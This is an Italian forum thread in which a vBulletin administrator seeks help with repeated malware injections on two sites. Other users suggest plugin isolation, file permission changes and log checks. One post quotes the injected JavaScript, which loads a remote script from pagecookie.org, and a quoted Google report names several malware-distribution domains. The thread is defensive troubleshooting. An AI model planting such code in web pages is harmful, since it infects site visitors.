Infezione sito

Visualizzazione Stampabile

08-12-2012, 03:23
blackwolf76

Infezione sito

sono un po' di giorni che mi infettano il sito (gbcnet) con codice malevolo e non riesco a capire come fare per individuare il "buco".

Mi tocca riscrivere i file sul server per ripristinare il tutto, quello che son riuscito a capire è che il tutto parte da qualche file JS, e nulla più.

La prima volta si è verificato un paio di giorni fa, mi son ritrovato tutti i file del server modificati e il sito segnalato da google come malevolo, sistemato il tutto è ricomparso oggi pomeriggio nuovamente il problema. In più mi si impalla anche l'editor di risposta rapida da cui spariscono tutti i pulsanti.

La cosa strana è che lo stesso problema si è verificato anche sull'altrro sito che amministro (ilpazzicomio.com) che risiede su server e dominio completamente diversi...

Qualcuno sa un sistema per bloccare definitivamente questo casino??

PS: qualche screen lo trovate qui:

http://www.gbcnet.net/showthread.php...sospetto/page5

Dovesse segnalarvi come malevolo non dovrebbe essere un problema, ho appena passato la ramazza per le pulizie;)
08-12-2012, 11:09
Fabioo

Se utilizzi qualche plugin in particolare su entrambi i forum prova a rimuoverlo, forse dando un occhiata ai log del php puoi riuscire a trovare il modo in cui riescono ad aggiungerti il codice nel db.

L'antivirus dove ti segnala la presenza delle url malevole, nella home o nei topic?

Edit: Ok come non detto! se sostituendo i file del server risolvi, non è un problema di db, ricontrolla i permessi dei file e poi fai una scansione sulla cartella del forum, l'antivirus ti dovrebbe trovare il fil con detto le url malevole, se questo file è nella cartella di qualche plugin...... hai trovato il problema :)
08-12-2012, 11:13
blackwolf76

Citazione:

Originariamente Scritto da Fabioo

Se utilizzi qualche plugin in particolare su entrambi i forum prova a rimuoverlo, forse dando un occhiata ai log del php puoi riuscire a trovare il modo in cui riescono ad aggiungerti il codice nel db.

L'antivirus dove ti segnala la presenza delle url malevole, nella home o nei topic?

Sinceramente a me non è mai capitato, cmq dicono appaiano nella home page e dopo un po' essendo molto visibile su google il sito, me lo segnala e amen. Poi mi tocca ripristnare e non ho possibilità di verificare.

PS: il log php da dove lo controllo??
08-12-2012, 11:15
Fabioo

ho modificato il messaggio sopra ^^

il sito ce l'hai su hosting condiviso? dove? e che pannello di controllo utilizzi? :)
08-12-2012, 11:20
blackwolf76

Il sito gbcnet risiede su hosting grid condiviso su godaddy, mentre l'altro è su aruba. Come pannello ha mysql, si per l'uno che per l'altro.

Il problema è che purtroppo quando parte l'infezione mi infetta tutti i file... equindi non è possibile risalire da dove è partito.

Come plugin in comune tra i due siti ce ne stanno 6/7, e dato che il problema si verifica random non è facile capire quale potrebbe essere.
08-12-2012, 11:35
Fabioo

come fai a sapere che ti infetta tutti i file?

non so il primo ma su aruba se non ricordo male non è possibile controllare alcun log. prova a scaricare la cartella in locale e passaci sopra l antivirus, prima però controlla con questo http://www.urlvoid.com/ inserisci l url del sito infetto ..
08-12-2012, 11:39
blackwolf76

Mi rendo conto che infetta tutto in quanto i file del sito risultano tutti modificati alla medesima ora in concomitanza del non funzionamento del sito. Nel server ho file che stanno li da mesi e poi me li ritrovo modificati nell'ultima ora.
08-12-2012, 11:46
Fabioo

Oddio!! :rolleyes: non solo le sottocartelle ma anche tutti i file in esse? mannaggia...

hai provato a sentire il provider? magari è stato violato il server! o ti hanno caricato uno script bello potente da fare questo, ma anche in questo caso devi sentire il provider per dare un occhiata ai log all'orario in cui sono stati modificati i file!
08-12-2012, 11:52
blackwolf76

Citazione:

Originariamente Scritto da Fabioo

Oddio!! :rolleyes: non solo le sottocartelle ma anche tutti i file in esse? mannaggia...

hai provato a sentire il provider? magari è stato violato il server! o ti hanno caricato uno script bello potente da fare questo, ma anche in questo caso devi sentire il provider per dare un occhiata ai log all'orario in cui sono stati modificati i file!

Escluderei il provider dato che lo stesso problema ieri mi si è verificato su ilpazzicomio.com che risiede su aruba, quindi altro dominio e altro server.
08-12-2012, 11:57
Fabioo

Citazione:

Originariamente Scritto da blackwolf76

Escluderei il provider dato che lo stesso problema ieri mi si è verificato su ilpazzicomio.com che risiede su aruba, quindi altro dominio e altro server.

Giusto! :p

Potresti averli infettati tramite il programma FTP durante il caricamento di qualche file sui server?
08-12-2012, 12:05
blackwolf76

Citazione:

Originariamente Scritto da Fabioo

Giusto! :p

Potresti averli infettati tramite il programma FTP durante il caricamento di qualche file sui server?

Non credo...
il problema si è verifiato adesso e sinceramente tramite ftp non accedo quasi mai salvo problemi o aggiornamenti. Inoltre sul secondo sito non accedevo da ftp dal 2 novembre, data che ho fatto ultimo aggiornamento.
08-12-2012, 12:16
Fabioo

ho capito... non so che dirti, forse hanno scoperto una vulnerabilità importante in qualche plugin che hai installato e tramite dei meta tag che utilizza il plugin sono riusciti a risalire ai forum che lo utilizzano...
Comunque mi sembra di aver capito che il database non viene toccato e questo è un buon segno ;),

hai conservato un file infetto?
08-12-2012, 12:20
blackwolf76

Citazione:

Originariamente Scritto da Fabioo

ho capito... non so che dirti, forse hanno scoperto una vulnerabilità importante in qualche plugin che hai installato e tramite dei meta tag che utilizza il plugin sono riusciti a risalire ai forum che lo utilizzano...
Comunque mi sembra di aver capito che il database non viene toccato e questo è un buon segno ;),

hai conservato un file infetto?

Fortunatamente il database resta integro, i file vengono modificati quasi tutti, ma quelli che hanno l'infezione sono pochi:

Citazione:

function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document. cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<script src="http://pagecookie.org/pagecookie.js"></script>');}
08-12-2012, 12:50
Fabioo

quel sito pagecookie da dove va a prendere il javascript fa parte di qualche componente che hai installato?
08-12-2012, 12:53
blackwolf76

Citazione:

Originariamente Scritto da Fabioo

quel sito pagecookie da dove va a prendere il javascript fa parte di qualche componente che hai installato?

purtroppo no...:mad:
08-12-2012, 13:01
Fabioo

evviva;) sono quasi certo che dipenda da qualche componente che hai installato!
è fondamentale accedere ai log del php! su aruba non credo sia possibile, sul provider dove hai gbc non saprei, informati ed in caso fattelo inviare.. fatto questo, poi me lo invii e me lo spulcio per bene ^^ .. sperando che (quasi sicuramente) utilizzano uno script php per modificare i file!
08-12-2012, 13:18
blackwolf76

Non son riouscito a capire se godaddy mi permette il log, allego immagine del pannello, ma non credo sia possibile.

http://gyazo.com/5903a6c0e3363d9a88b...png?1354965457
08-12-2012, 13:37
Fabioo

no!! :( prova a mandargli una email e chiedigli se ti possono mandare i lod di apache del tuo account!
08-12-2012, 22:30
blackwolf76

stasera un altro attacco... non se ne può più. Non trovo il modo per capire il buco...

ora chiedo al provider se mi danno una mano.
08-12-2012, 22:56
migratoria

Citazione:

Qual è lo stato attuale di gbcnet.net
nell'elenco?

Il sito è indicato come sospetto: una visita a questo sito web potrebbe
danneggiare il tuo computer.

Parte del sito è stata segnalata per attività sospetta 4 volte nel corso
degli ultimi 90 giorni.
Che cosa è successo dopo la visita di Google a questo
sito?

Dal test di 406 pagine del sito eseguito negli ultimi 90 giorni, è
emerso che da 21 pagine è stato scaricato e installato software dannoso senza
l'autorizzazione dell'utente. L'ultima visita di Google a questo sito è stata
effettuata in data 2012-12-08 e contenuto sospetto è stato rilevato l'ultima
volta in data 2012-12-08.
Esempi di software dannoso sono: 3 trojan(s). Sono stati infettati in media 1
nuovi processi nel computer target.

Software dannoso è ospitato su 4 domini, tra cui pagecookie.org/, uostutud.epac.to/, uowroth.wha.la/.

2 domini sembravano fungere da intermediari per la distribuzione di malware
ai visitatori di questo sito, tra cui pagecookie.org/, zymurgies.org/.

Questo sito è stato ospitato su 2 reti tra cui AS26496 (PAH), AS15169 (Google Internet
Backbone).
Il sito ha assunto la funzione di intermediario per la
distribuzione di malware?

Nel corso degli ultimi 90 giorni, gbcnet.net non ha assunto la funzione di
intermediario per la distribuzione di malware o virus ad altri
siti.
Questo sito ha ospitato malware?

No, questo sito non ha ospitato software dannoso nel corso degli ultimi 90
giorni.
Ragioni

In alcuni casi, terze parti possono aggiungere codice dannoso a siti
autentici e questo è il motivo alla base della visualizzazione del messaggio di
avviso.

Sicuramente è un plugin con qualche falla a cui è stata applicata una Sql Iniection.

Fai una ricerca per plugin su google aggiungndo come keywords oltre il nome del plugin anche la parola virus o iniection.

Vedrai che risolvi
08-12-2012, 23:39
blackwolf76

In effetti sto rimuovendo tutti i plugin che ho in comune sui due forum, e d ali cercare di isolare il problema.

Ma un plugin che non necessita di file caricati sulo server, ma che va ad integrarsi solo tramite file xml nel pannello, potrebbe creare questo tipo di problema??

In questo caso restringerei di molto il campo.
08-12-2012, 23:47
y2ksw
1. disattiva tutti i plugin
2. cambia password all'ftp
3. controlla che sul tuo pc non vi siano worm o trojan
4. scarica tutti gli script in locale (*.php, *.js, *.htm, *.html)
5. scannerizza tutti questi file contro worm e virus
6. vai in diagnostica e rivela tutti i file che non appartengono a vbulletin
7. scarica questi file (mantenere la struttura) ed eliminali dal server
8. reinvia, sostituendo, tutti i file *.php e file *.js che fanno parte di vbulletin, ma che sono alterate
9. esegui il forum un paio di giorni senza aggiunte, per vedere se si ripete il problema
10. se non si ripete, attiva i plugin uno per uno per un periodo prolungato quando sei certo che vanno. nota che c'è un problema con vbseo che causa defacing e iniezioni di codice arbitrario e non so se è stato risolto
11. se il problema si ripete, c'è una falla nel sistema, del hosting, di ftp o dell'account hosting
09-12-2012, 00:22
blackwolf76

Grazie anche a te per avermi risposto.

Riassumo tutto quello che ho fatto, magari sfoltiamo le ipotesi e le prove da fare.

Ho lo stesso problema su due forum hostati su due diversi server e con differenti credenziali. Sul primo ho avuto il problema da un po' di giorni e quindi ho fatto molti accessi via ftp, sul secondo invece non accedevo da mesi e mi son ritrovato nelle stesse condizioni, quindi escluderei problemi al mio pc e alle credenziali di accesso al sito. Ho già rimosso tutti i file di script dal server che non sono basilari del vbulletin, individuandoli con la data di ultima modifica, dopo aver riuppato tutti i file puliti del vbulletin che sostituiscono i precedenti infetti. A tal proposito ho notato che tutto il casino parte dai file contenuti nella cartella clientscript, che è quella che risulta infettata per prima. Inoltre ho notato che si generano dei file con nomi simili al VB ma che secondo me non sono suoi. Qualcuno lo potete trovare qui:

http://www.sendspace.com/file/0z8yhf

Riguardo a vbseo non lo ho utilizzato, o meglio lo tenevo sul forum uno ma senza usarlo, mentre sul forum due non ci stava e comunque è risultato infetto

Una sola cosa, ma i plugin che non hanno file uppati nel server possono creare questo problema??

PS: ma i file che permessi devono avere?? E se li metto in sola lettura 444, magari risolvo qualcosa??
09-12-2012, 15:01
y2ksw

salvo per hacking diretto dell'account o per malconfigurazione del sistema su piano hosting, gli unici accessi per defacing/malware sono ftp e plugin, qualsiasi plugin. per cui inutile cercare oltre :)

quindi anche se sei convintissimo di non avere problemi su pc, è comunque un potenziale ingresso ai siti tramite ftp. non importa quanto lo utilizzi tu, ma quanto lo utilizza il worm :)
10-12-2012, 01:39
blackwolf76

Vi aggiorno,
ho controllato il mio pc, come immaginavo era tutto ok, quindi ho sostituito e ripulito il server di tutti i file .js che ho trovato spulciando tutte le cartelle del server, ho cancellato un forum test che avevo, quindi ho rimosso un paio di plugin sospetti del forum e tutti i plugin del blog WP. Il tutto su entrambi i server su cui sono hostati i due siti. Per il momento pare che regge, su entrambi i fronti, speriamo bene.
11-12-2012, 21:04
colin

No blackwolf76 il problema resta ancora mi son collegato poco fa'......quel godaddy non lo vedo bene ma proprio per nulla:mad:In ogni caso se non vado errato dopo che fai la pulizia e' tutto il resto ,il sito per funzionare senza l'avviso devi aspettare che google sblocchi il sito e lo cancelli dalla blacklist! almeno per quando riguarda firefox/crome i.e. non ne ha bisogno
12-12-2012, 00:10
blackwolf76

Citazione:

Originariamente Scritto da colin

No blackwolf76 il problema resta ancora mi son collegato poco fa'......quel godaddy non lo vedo bene ma proprio per nulla:mad:In ogni caso se non vado errato dopo che fai la pulizia e' tutto il resto ,il sito per funzionare senza l'avviso devi aspettare che google sblocchi il sito e lo cancelli dalla blacklist! almeno per quando riguarda firefox/crome i.e. non ne ha bisogno

Ciao colin, è sempre un piacere.

Purtroppo il problema, come avrai letto, ci sta sia su godaddy che sull'altro che è su aruba. Cmq mi son documentato in giro e a quanto pare è una cosa abbastanza comune che sta colpendo diverse piattaforme, tipo wordpress e joomla.

Per ora pare che non ci siano problemi, pare... dopo aver completamente cancellato il server stamattina e rimesso tutto daccapo e ho rimosso wordpress dalla sottocartella. Incrocio le dita... e spero.
12-12-2012, 10:15
Fabioo

Accipicchia, quindi le mie perplessità sull'utilizzare un sottodominio invece di una sottodirectory per il forum non erano infondate! peccato che abbia optato per una sottodirectory /forum ....

Dopo quello che ho letto qui, devo trovare il modo di spostare joomla su un altro server, lontano da vBulletin:D
12-12-2012, 13:56
y2ksw

Citazione:

Originariamente Scritto da Fabioo

Accipicchia, quindi le mie perplessità sull'utilizzare un sottodominio invece di una sottodirectory per il forum non erano infondate! peccato che abbia optato per una sottodirectory /forum ....

Dopo quello che ho letto qui, devo trovare il modo di spostare joomla su un altro server, lontano da vBulletin:D

il problema non è joomla, ma come sono collegati. se non c'è un bridge, allora non ci sono problemi. cose che si sanno e che mi sono stancato di ripetere :)
12-12-2012, 17:39
Fabioo

Citazione:

Originariamente Scritto da y2ksw

il problema non è joomla, ma come sono collegati. se non c'è un bridge, allora non ci sono problemi. cose che si sanno e che mi sono stancato di ripetere :)

no non ce nessun bridge e l'installazione di joomla è abbastanza pulita da plugin e schifezze varie, però se dovessero trovare una falla, girando sia joomla che vbulletin nella stessa document root con gli stessi permessi e soprattutto con lo stesso utente unix, se riescono a caricare uno script, non possono andare a modificare i file di vbulletin? :confused:
13-12-2012, 01:31
blackwolf76

Vi posso solo dire che ancora non so che script hanno usato e la porta che hanno utilizzato, però per certo so che una volta lanciato si modificano tutti i file .php e .js contenuti nella root del server, sia quelli direttamente nella directory che quelli nelle sottocartelle, notando che questi ultimi sono i primi ad essere compromessi, indipendentemente che si tratti di joomla, WP o VB o plugin vari.

Altra cosa importante da fare è quella di controllare i permessi dei file nel server, magari con una giusta configurazione si evita alla base la vulnerabilità.

Nerl contesto di tutte le prove fatte ho impostato quasi tutto a 604, quando prima stavano a 705, e magari questo ha bloccato il problema alla base.
13-12-2012, 19:54
colin

Bravo blackwolf76 stasera alla prima accensione tutto ok:up:
13-12-2012, 22:38
y2ksw

Citazione:

Originariamente Scritto da Fabioo

no non ce nessun bridge e l'installazione di joomla è abbastanza pulita da plugin e schifezze varie, però se dovessero trovare una falla, girando sia joomla che vbulletin nella stessa document root con gli stessi permessi e soprattutto con lo stesso utente unix, se riescono a caricare uno script, non possono andare a modificare i file di vbulletin? :confused:

In effetti, questo è l'unico modo, salvo con l'accesso diretto di FTP. I WORM di "categoria" creano un proxy FTP via HTTP per ottenere l'accesso, ma hanno bisogno anche del username e password, che nella norma cercano di ricavare dalle proprie email, ma anche tramite keylogger e trojan.
14-12-2012, 00:02
blackwolf76

Dopo aver ripulito i due siti in questione ed aver disattivato tutto quesllo che non fosse di base del VB sul server che sul sito, dopo un paio di gionri di funzionamento normale ho provato ad abilitare i plugin due alla volta diversi su ognuno dei forum e sorpresa... uno di essi si è impallato nuovamente. Salvo falsi allarmi ho scovato il plugin incrimanto... dovrebbe essere la vsa chatbox, ma non ho certezza matematica avendo avuto un solo riscontro. Ci vuole la prova del nove...;)